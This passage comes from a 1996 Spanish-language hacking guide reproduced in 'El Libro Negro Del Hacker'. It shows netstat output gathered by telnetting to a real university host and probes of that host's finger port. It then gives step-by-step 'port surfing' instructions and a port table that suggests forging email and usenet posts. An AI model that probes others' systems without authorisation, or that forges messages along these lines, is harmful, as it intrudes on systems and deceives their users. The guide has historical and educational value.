---- --- ------- -------------- ----- ----- ----- ----- ------

se0 1500 129.121.0 GRANDE.NM.ORG 68422948 0 53492833 1 0

lo0 4136 127.0.0 127.0.0.1 1188191 0 1188191 0 0

MultiNet Protocol statistics:

65264173 IP packets received

22 IP packets smaller than minimum size

Page 171: El Libro Negro Del Hacker2

171

6928 IP fragments received

4 IP fragments timed out

34 IP received for unreachable destinations

704140 ICMP error packets generated

9667 ICMP opcodes out of range

4170 Bad ICMP packet checksums

734363 ICMP responses

734363 ICMP "Echo" packets received

734363 ICMP "Echo Reply" packets sent

18339 ICMP "Echo Reply" packets received

704140 ICMP "Destination Unreachable" packets sent

451243 ICMP "Destination Unreachable" packets received

1488 ICMP "Source Quench" packets received

163911 ICMP "ReDirect" packets received

189732 ICMP "Time Exceeded" packets received

126966 TCP connections initiated

233998 TCP connections established

132611 TCP connections accepted

67972 TCP connections dropped

28182 embryonic TCP connections dropped

269399 TCP connections closed

10711838 TCP segments timed for RTT

10505140 TCP segments updated RTT

Page 172: El Libro Negro Del Hacker2

172

3927264 TCP delayed ACKs sent

666 TCP connections dropped due to retransmit timeouts

111040 TCP retransmit timeouts

3136 TCP persist timeouts

9 TCP persist connection drops

16850 TCP keepalive timeouts

1195 TCP keepalive probes sent

14392 TCP connections dropped due to keepalive timeouts

28842663 TCP packets sent

12714484 TCP data packets sent

1206060086 TCP data bytes sent

58321 TCP data packets retransmitted

22144036 TCP data bytes retransmitted

6802199 TCP ACK-only packets sent

1502 TCP window probes sent

483 TCP URG-only packets sent

8906175 TCP Window-Update-only packets sent

359509 TCP control packets sent

38675084 TCP packets received

28399363 TCP packets received in sequence

1929418386 TCP bytes received in sequence

25207 TCP packets with checksum errors

273374 TCP packets were duplicates

Page 173: El Libro Negro Del Hacker2

173

230525708 TCP bytes were duplicates

3748 TCP packets had some duplicate bytes

493214 TCP bytes were partial duplicates

2317156 TCP packets were out of order

3151204672 TCP bytes were out of order

1915 TCP packets had data after window

865443 TCP bytes were after window

5804 TCP packets for already closed connection

941 TCP packets were window probes

10847459 TCP packets had ACKs

222657 TCP packets had duplicate ACKs

1 TCP packet ACKed unsent data

1200274739 TCP bytes ACKed

141545 TCP packets had window updates

13 TCP segments dropped due to PAWS

4658158 TCP segments were predicted pure-ACKs

24033756 TCP segments were predicted pure-data

8087980 TCP PCB cache misses

305 Bad UDP header checksums

17 Bad UDP data length fields

23772272 UDP PCB cache misses

MultiNet Buffer Statistics:

Page 174: El Libro Negro Del Hacker2

174

388 out of 608 buffers in use:

30 buffers allocated to Data.

10 buffers allocated to Packet Headers.

66 buffers allocated to Socket Structures.

57 buffers allocated to Protocol Control Blocks.

163 buffers allocated to Routing Table Entries.

2 buffers allocated to Socket Names and Addresses.

48 buffers allocated to Kernel Fork-Processes.

2 buffers allocated to Interface Addresses.

1 buffer allocated to Multicast Addresses.

1 buffer allocated to Timeout Callbacks.

6 buffers allocated to Memory Management.

2 buffers allocated to Network TTY Control Blocks.

11 out of 43 page clusters in use.

11 CXBs borrowed from VMS device drivers

2 CXBs waiting to return to the VMS device drivers

162 Kbytes allocated to MultiNet buffers (44% in use).

226 Kbytes of allocated buffer address space (0% of maximum).

Connection closed by foreign host.

<slug> [68] ->

¡Buahh! ¿Qué era todo eso?

Lo que hicimos fue hacer telnet al puerto 15 -- el puerto netstat (estadísticas de red) -- que en algunos ordenadores corre un daemon que le dice a todo el mundo que se preocupe por

Page 175: El Libro Negro Del Hacker2

175

entrar simplemente todo acerca de las conexiones hechas por todos los ordenadores enlazados a Internet por medio de este ordenador.

Así que a partir de esto aprendimos dos cosas:

1) Grande.nm.org es un ordenador muy importante y ocupado.

2) Incluso un ordenador muy importante y ocupado puede dejar al surfer de puertos casual entrar y jugar.

Así que mi amiga quería probar con otro puerto. Le sugerí el puerto de finger, el numero 79. Así que dimos el comando:

<slug> [68] ->telnet grande.nm.org 79

Trying 129.121.1.2 ...

Connected to grande.nm.org.

Escape character is '^]'.

finger

?Sorry, could not find "FINGER"

Connection closed by foreign host.

<slug> [69] ->telnet grande.nm.org 79

Trying 129.121.1.2 ...

Connected to grande.nm.org.

Escape character is '^]'.

help

?Sorry, could not find "HELP"

Connection closed by foreign host.

<slug> [69] ->telnet grande.nm.org 79

Trying 129.121.1.2 ...

Connected to grande.nm.org.

Page 176: El Libro Negro Del Hacker2

176

Escape character is '^]'.

?

?Sorry, could not find "?"

Connection closed by foreign host.

<slug> [69] ->telnet grande.nm.org 79

Trying 129.121.1.2 ...

Connected to grande.nm.org.

Escape character is '^]'.

man

?Sorry, could not find "MAN"

Connection closed by foreign host.

<slug> [69] ->

En un principio esto parece simplemente un puñado de comandos fallidos. Pero en realidad esto es muy fascinante. La razón es que el puerto 79 se supone, bajo las normas IETF, que corre fingerd, el daemon de finger. Así que cuando dio el comando "finger" y grande.nm.org dijo ?Sorry, could not find "FINGER," supimos que este puerto no seguía las normas IETF.

Ahora, en muchos ordenadores no corren el daemon finger para nada. Esto es debido a que finger tiene unas propiedades que pueden usarse para conseguir control total del ordenador que lo usa.

Pero si el finger está apagado, y nada más está corriendo en el puerto 79, deberíamos recibir la respuesta:

telnet: connect: Connection refused.

Pero en vez de eso nos conectamos y grande.nm.org estaba esperando un comando.

Ahora, lo normal que un surfer de puertos hace cuando corre un daemon desconocido es convencerle para que revele que comandos usa. "Help", "?" y "man" a menudo funcionan. Pero no nos ayudaron.

Page 177: El Libro Negro Del Hacker2

177

Pero a pesar de que estos comandos no nos ayudaron, si que nos dijeron que el daemon está probablemente algo sensitivo. Si fuera un daemon que se supone podría usar cualquiera, nos habría dado instrucciones.

Así que, ¿qué hicimos después? Decidimos ser buenas ciudadanas de Internet y también mantenernos fuera de la cárcel. Decidimos que seria mejor salir.

Pero había un hack que decidimos hacer primero: dejar nuestra marca en el archivo log del shell.

El archivo log del shell guarda un registro de todos los comandos del sistema operativo que se han hecho en un ordenador. El administrador de un ordenador obviamente tan importante como grande.nm.org será lo suficientemente competente para escanear el registro de los comandos que se han dado y quienes los han dado en su ordenador. Especialmente en un puerto lo suficientemente importante para estar corriendo un misterioso y no-IETF daemon. Así que todo lo que tecleamos mientras estabamos conectadas probablemente fue guardado en el log.

Así que mi amiga se rió y dejo unos pocos mensajes en el puerto 79 antes de salir del sistema. Oh, querido, creo que está enganchada al hacking. Vaya una buena forma de conocer administradores atractivos.

O sea que, el port surfing ¡está listo! Si quieres surfear, aquí está lo básico:

1) Haz login a una cuenta shell. Esta es una cuenta con tu proveedor que te permite dar comandos UNIX. O -- corre Linux u otra clase de UNIX en tu PC y conéctate a Internet.

2) Ejecuta el comando "telnet <hostname> <numero de puerto>" donde <hostname> es la dirección de Internet del ordenador que quieres visitar y <numero de puerto> es el puerto que te parezca divertido.

3) Si recibes la respuesta "connected to <hostname>," entonces el surfeo ya está listo.

Seguidamente hay algunos de mis puertos favoritos. Es legal e inocuo el hacerles visitas tan pronto como no descubras como obtener status de superusuario mientras estés jugando en ellos. Sin embargo, ten en cuenta que si haces mucho port surfing desde tu cuenta shell, tu administrador de sistema notara esto en su fichero log del shell. O, el administrador de tu ordenador "víctima" puede avisar acerca de ti a tu administrador. Serás identificable por las cabeceras en los paquetes que llevan tus comandos al ordenador víctima. Entonces tu administrador te puede echar de tu proveedor. Así que puede que quieras explicar antes que eres meramente un hacker inocuo buscando pasar un buen rato, eh, um, aprendiendo UNIX. Si, eso suena bien...

N§ puerto Servicio ¡Porqué es divertido!

7 ---------> echo Lo que teclees, el host te lo repetirá

Page 178: El Libro Negro Del Hacker2

178

9 ---------> discard Dev/null - ¿cuán rápido puedes descubrir este?

11 --------> systat Mucha información de usuarios

13 --------> la hora y fecha en el ordenador remoto

15 --------> netstat Tremenda información sobre la red

19 --------> envía un montón de caracteres ASCII. Usa ^C para pararlo.

21 --------> ftp Transferencia de ficheros

23 --------> telnet Donde haces log.

25 --------> smpt Falsea mail de [email protected].

37 --------> time Tiempo

39 --------> rlp Localización del recurso

43 --------> whois Información de hosts y redes

53 --------> domain Nombre del servidor

70 --------> gopher Cazador anticuado de información

79 --------> finger Mucha información sobre usuarios

80 --------> http Servidor Web

110 -------> pop Email entrante

119 -------> nntp Grupos de noticias usenet -- falsear posts, cancelar

443 -------> shttp Otro servidor Web

512 -------> biff Notificación de mail

513 -------> rlogin Login remoto

------------> who Who remoto

514--------> shell ¡Comando remoto, no se usa password!

------------> syslog Login de sistema remoto

Page 179: El Libro Negro Del Hacker2

179

520 -------> route Protocolo de información routing

CONSEJO DE CABEZA PROPULSORA: Fíjate que en la mayoría de los casos un host de Internet usara está asignación de números de puerto para estos servicios. Más de un servicio puede también estar asignado simultáneamente al mismo puerto. Este sistema de numeración es voluntariamente ofrecido por el Internet Engineering Task Force (IETF). Eso significa que un host de Internet puede usar otros puertos para esos servicios. ¡Espera lo inesperado!

Si tienes una copia de Linux, puedes coger la lista de todas las asignaciones del IETF sobre puertos en el fichero /etc/services.

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.